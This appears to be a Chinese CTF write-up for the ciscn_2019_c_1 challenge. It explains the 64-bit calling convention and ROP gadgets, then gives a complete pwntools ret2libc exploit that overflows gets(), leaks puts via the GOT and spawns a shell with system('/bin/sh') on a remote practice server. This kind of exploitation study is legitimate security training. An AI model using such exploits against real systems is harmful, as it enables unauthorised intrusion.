ciscn_2019_c_1 1
1.checksec
Stack:No canary found表示可以通过栈溢出来进行攻击
2.ida
shift+f12后没有找到后门函数
考虑利用构造libc链
该图转载至’半步行止‘
32位和64位程序在函数调用的方式存在区别。
32位程序默认调用函数的方式为先将参数压入栈中,靠近call指令的是第一个参数,而64位程序默认调用函数参数的方式则不同
- rdi中存放第1个参数
- rsi中存放第2个参数
- rdx中存放第3个参数
- rcx中存放第4个参数
- r8中存放第5个参数
- r9中存放第6个参数
- 如果还有更多的参数,再把过多的那几个参数像32位程序那样压入栈中
- 然后call
从ida中可查看逻辑为先puts()再输入一个数v4,当输入的数v4为1时执行encrypt(),然后puts(),再
gets(s)
在该函数中存在puts()与gets(),gets(s)中s的大小为50个字节,可利用此来进行攻击
在kali中使用命令查看该文件中pop rdi 和ret的指令的地址
ROPgadget --binary pwn10 --only ‘pop|ret’
exp如下:
from pwn import*
from LibcSearcher import*
p=remote('node4.buuoj.cn',26671)
pop_rdi=0x0400c83
ret=0x04006b9
elf=ELF('./pwn10')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=elf.symbols['main']
p.sendlineafter("Input your choice!",'1')
payload=b'a'*0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter('encrypted',payload)
p.recvuntil("Ciphertext\n")
p.recvuntil("\n")
puts_addr=u64(p.recv(6).strip().ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
sys_addr=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*0x58+p64(ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(sys_addr)+p64(main_addr)
p.sendlineafter("Input your choice!",'1')
p.sendlineafter('encrypted',payload2)
p.interactive()
到这要选一个数,可以一个一个试
最后cat flag